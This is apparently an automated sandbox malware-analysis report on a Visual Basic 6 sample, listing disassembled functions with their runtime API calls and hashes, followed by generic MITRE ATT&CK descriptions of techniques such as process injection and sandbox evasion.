Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$ChkstkFree$AddrefCopyErrorEventMoveNofreeRaiseVarg
String ID:
API String ID: 3705209087-0
Opcode ID: a744b2239620e2a90fce2d31a3f43e904dc0f5ab9ad7dd985c9743abacca18f0
Instruction ID: 36ceea50de92772e66bb97ede622d2113149341719cd49f3f7e07eaeda4390cb
Opcode Fuzzy Hash: a744b2239620e2a90fce2d31a3f43e904dc0f5ab9ad7dd985c9743abacca18f0
Instruction Fuzzy Hash: 9F31F875900208EFCB04DF94C949B9DBBB4FF48304F108669F515B73A0D774AA85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404829 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 0040CC8C
__vbaNew2.MSVBVM60(004055D8,0041B8D8), ref: 0040CCA4
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CCC7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406C48,00000040), ref: 0040CCEB
__vbaObjSet.MSVBVM60(?,?), ref: 0040CD02
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004055C8,0000000C), ref: 0040CD18
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040CD28
__vbaExitProc.MSVBVM60 ref: 0040CD31

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeListNew2Proc
String ID:
API String ID: 306309671-0
Opcode ID: f05c769eef4a069bf0385cfeb3677b75dac682b0aa44aeb3ef3202b0df133bc0
Instruction ID: 6c1e095cc9405d84f172de8fc6481e1172c739fb8f3d4ebecced46b1c4c61411
Opcode Fuzzy Hash: f05c769eef4a069bf0385cfeb3677b75dac682b0aa44aeb3ef3202b0df133bc0
Instruction Fuzzy Hash: 7F312D71910214EBDB10AF95CE89EDEBBBCFF08B40F10412AF545B3690D77899458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00414D90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(660E6C4A,00000000), ref: 00414DCE
__vbaR8IntI4.MSVBVM60(h#@,660E6C4A,00000000), ref: 00414DE2
_adj_fdiv_m64.MSVBVM60 ref: 00414E27
__vbaR8IntI4.MSVBVM60 ref: 00414E32

Strings

h#@, xrefs: 00414DD7

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba_adj_fdiv_m64
String ID: h#@
API String ID: 2746309926-1911584123
Opcode ID: ab1f15620a1f862a28e7d7e9291dcfa6d74d0e301d23102f988617b6e0f2e5da
Instruction ID: 05541adafa65650a58b6c4144f1ab09d364fc37ea7f5c0a10f88b274b74e223b
Opcode Fuzzy Hash: ab1f15620a1f862a28e7d7e9291dcfa6d74d0e301d23102f988617b6e0f2e5da
Instruction Fuzzy Hash: 2E214570A04301AFC7489F28EB4829ABBE5FBC8351F10853EE584962A4DB7C88D4C71A

Uniqueness

Uniqueness Score: -1.00%

Function 00418E20 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,0041B108,00000011,00000001,00000FFF,00000000,00000000,00419504), ref: 00418E5D
__vbaGetOwner3.MSVBVM60(00407524,0041B108,00000000), ref: 00418E78
__vbaGenerateBoundsError.MSVBVM60 ref: 00418E9A
__vbaGenerateBoundsError.MSVBVM60 ref: 00418EAA
__vbaGenerateBoundsError.MSVBVM60(00000000,00419504), ref: 00418EE6
__vbaGenerateBoundsError.MSVBVM60(00000000,00419504), ref: 00418EFC
__vbaErrorOverflow.MSVBVM60(00000000,00419504), ref: 00418F21

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$BoundsGenerate$OverflowOwner3Redim
String ID:
API String ID: 3413436688-0
Opcode ID: 280288ce2d1da6d587684357634afb95be1490d94e7fd3b2f1c4005324fb1fb1
Instruction ID: a558a39c5bab9556473eca7b03ab59ba202b493018f5e1d000dd0332b3e70a7e
Opcode Fuzzy Hash: 280288ce2d1da6d587684357634afb95be1490d94e7fd3b2f1c4005324fb1fb1
Instruction Fuzzy Hash: F021D338604361EBC714CF14ED65BE17762FB48781B158069EE01A77A5CBB5A8C1CBDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6A0 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,004025E6), ref: 0040E6EA
__vbaCastObj.MSVBVM60(00000000,004071DC,?,?,?,?,?,?,?,?,004025E6), ref: 0040E6F8
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,004025E6), ref: 0040E703
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007C4,?,?,?,?,?,?,?,?,004025E6), ref: 0040E723
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,004025E6), ref: 0040E72C
__vbaRaiseEvent.MSVBVM60(?,00000002,00000000,?,?,?,?,?,?,?,?,004025E6), ref: 0040E736
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,004025E6), ref: 0040E73F

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CastCheckErrorEventExitFreeHresultProcRaise
String ID:
API String ID: 2392155486-0
Opcode ID: b7ab2b53e9fe8407814622c4ea2936945701b59724f8c03dfa2f10b314959642
Instruction ID: 64c0aa39b9ec461804333c35a90b8c194e87fd5da105c06a014ba34ae980e718
Opcode Fuzzy Hash: b7ab2b53e9fe8407814622c4ea2936945701b59724f8c03dfa2f10b314959642
Instruction Fuzzy Hash: 3211BF71900254ABCB00AFA5CD49E9E7B78FF49B04F10852AF945B62E1C77854418BE9

Uniqueness

Uniqueness Score: -1.00%

Function 00417458 Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

__vbaExitProc.MSVBVM60 ref: 00417458
__vbaAryDestruct.MSVBVM60(00000000,?,004174A7), ref: 0041747C
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00417484
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041748C
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00417494
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041749C
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004174A4

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Destruct$ExitProc
String ID:
API String ID: 1594393734-0
Opcode ID: 65cc65516ad45df1b1f5dcc83af42ead7481cbb47c4d7635c82ff8eb0cff5d94
Instruction ID: 1c4b0c633f18c9e3bddb3555aaad557ebaf8a4bf2d76904fda437b0bccd5ade5
Opcode Fuzzy Hash: 65cc65516ad45df1b1f5dcc83af42ead7481cbb47c4d7635c82ff8eb0cff5d94
Instruction Fuzzy Hash: 00E050B2D58218AAE744D7D0ED45FED7B3CEB84701F004116FA46AA0D89AA02A45CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0041887E Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

__vbaExitProc.MSVBVM60 ref: 0041887E
__vbaAryDestruct.MSVBVM60(00000000,?,004188CD), ref: 004188A2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004188AA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004188B2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004188BA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004188C2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004188CA

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Destruct$ExitProc
String ID:
API String ID: 1594393734-0
Opcode ID: 6d6b2ce9373d417b402dd24b6c4533e81eb0a1ea67bba482b0d9e88b5f08c903
Instruction ID: 7559dc89658ccc2b58e0618bd5d3b53ed62fe53bb83953d9ec1d7c87f6bb5db1
Opcode Fuzzy Hash: 6d6b2ce9373d417b402dd24b6c4533e81eb0a1ea67bba482b0d9e88b5f08c903
Instruction Fuzzy Hash: 0AE050B2D44118AAEB44D7D0ED45FFD7B3CEB84701F04411AFB46AA0D8DAA42A45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00410080 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6), ref: 0041009E
__vbaOnError.MSVBVM60(000000FF,00000000,660E6C30,660E0EBE,00000000,004025E6), ref: 004100CE

Part of subcall function 00410C70: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,?,004100E0), ref: 00410C8E
Part of subcall function 00410C70: __vbaOnError.MSVBVM60(000000FF,00000000,660E6C30,660E0EBE,00000000,004025E6), ref: 00410CBE
Part of subcall function 00410C70: __vbaSetSystemError.MSVBVM60 ref: 00410CD3
Part of subcall function 00410C70: __vbaSetSystemError.MSVBVM60(?,00000028,?), ref: 00410CEB
Part of subcall function 00410C70: __vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 00410D3B
Part of subcall function 00410C70: __vbaSetSystemError.MSVBVM60(?), ref: 00410E35

__vbaSetSystemError.MSVBVM60(001F0FFF,00000000), ref: 004100FC
__vbaSetSystemError.MSVBVM60(?,?), ref: 0041011C
__vbaSetSystemError.MSVBVM60(?,?), ref: 00410139
__vbaSetSystemError.MSVBVM60(?), ref: 00410155

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: 885c88b7c4a7b9d42de6fe011f4235768c88f6b92c19c0712b662b2dd21f9fb8
Instruction ID: 7b377bd5de676e89d855d9e41b3201db1aa312fdf1275dcf7b41b08b02665fd4
Opcode Fuzzy Hash: 885c88b7c4a7b9d42de6fe011f4235768c88f6b92c19c0712b662b2dd21f9fb8
Instruction Fuzzy Hash: 172107B5900348EBDB00DFE5DA49BDEBBB4FF48714F10812AE504B7290D7796A44CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E780 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,004025E6), ref: 0040E7BF
__vbaCastObj.MSVBVM60(00000000,004071DC,?,?,?,?,?,?,?,?,004025E6), ref: 0040E7CD
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,004025E6), ref: 0040E7D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007C4,?,?,?,?,?,?,?,?,004025E6), ref: 0040E7F8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,004025E6), ref: 0040E801
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,004025E6), ref: 0040E807

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CastCheckErrorExitFreeHresultProc
String ID:
API String ID: 2075080343-0
Opcode ID: 583a2b12934fe07e965f9a3ec7616fd2eb1ad477de0851f69ba3b3345f60b789
Instruction ID: 3bf4f8c77da95384cc45dd6dff3f381c91b1124e7f22c247587acc69ccce5f1d
Opcode Fuzzy Hash: 583a2b12934fe07e965f9a3ec7616fd2eb1ad477de0851f69ba3b3345f60b789
Instruction Fuzzy Hash: A1015B71940214ABCB00AFA5CE49EAABBB8FF48700F10456AF945B32A1C77854418EA9

Uniqueness

Uniqueness Score: -1.00%

Function 00419674 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 00419681
__vbaFileClose.MSVBVM60(00000000), ref: 0041968B
__vbaExitProc.MSVBVM60 ref: 00419694
__vbaFreeStr.MSVBVM60(004196D8), ref: 004196CB
__vbaFreeStr.MSVBVM60 ref: 004196D0
__vbaFreeStr.MSVBVM60 ref: 004196D5

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$CloseFile$ExitProc
String ID:
API String ID: 2014117853-0
Opcode ID: 2d004a00b349fb87b40256e6660000f0fcf9f27bd89329952208d229b7140539
Instruction ID: dfea4ae46e95b786737fd6ac62915e102b9398e5dcf88c16ee641d2aebd4778e
Opcode Fuzzy Hash: 2d004a00b349fb87b40256e6660000f0fcf9f27bd89329952208d229b7140539
Instruction Fuzzy Hash: 12E01276821128AACB04EBA0FD206DC3BB8FB08310B118026E846B3174DB742D84CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00418980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,x$@,?,?,?,?,?,00000000,004025E6), ref: 004189B6
__vbaExitProc.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 004189E7
__vbaErrorOverflow.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 00418A02

Strings

XuA, xrefs: 004189BC
x$@, xrefs: 0041899D

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$ExitOverflowProc
String ID: XuA$x$@
API String ID: 3328922952-1101804690
Opcode ID: c076097e3a78d3169a304b0a4590783ceaa35cecd4cc0d2262e250e498d51d51
Instruction ID: f41aac51504d4341bf14d78ed7085f01873fde132ca3eda0e8d0e8435c4d1104
Opcode Fuzzy Hash: c076097e3a78d3169a304b0a4590783ceaa35cecd4cc0d2262e250e498d51d51
Instruction Fuzzy Hash: 310180B5D00254AFC710DF989A056DDFBB4EB08B50F10426BE805A3350C77458408BEA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E250 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 0040E295
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407144,000007BC), ref: 0040E2BA
__vbaHresultCheckObj.MSVBVM60(00000000,?,004071CC,00000094), ref: 0040E2E4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 0040E2F3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 0040E2F9

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeProc
String ID:
API String ID: 4045702744-0
Opcode ID: ccc439e8694d0f94d9a812796e14e68a8162fab669cebb24eee0f06880352765
Instruction ID: b42082684cfda9da04a5b7e5b2bad02e9e7a05c797a4a6675c2a700778014143
Opcode Fuzzy Hash: ccc439e8694d0f94d9a812796e14e68a8162fab669cebb24eee0f06880352765
Instruction Fuzzy Hash: 87114A74900214ABCB00DFA6CD48EDEBFF8FF98700F24456AF445B72A0C77859418AA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

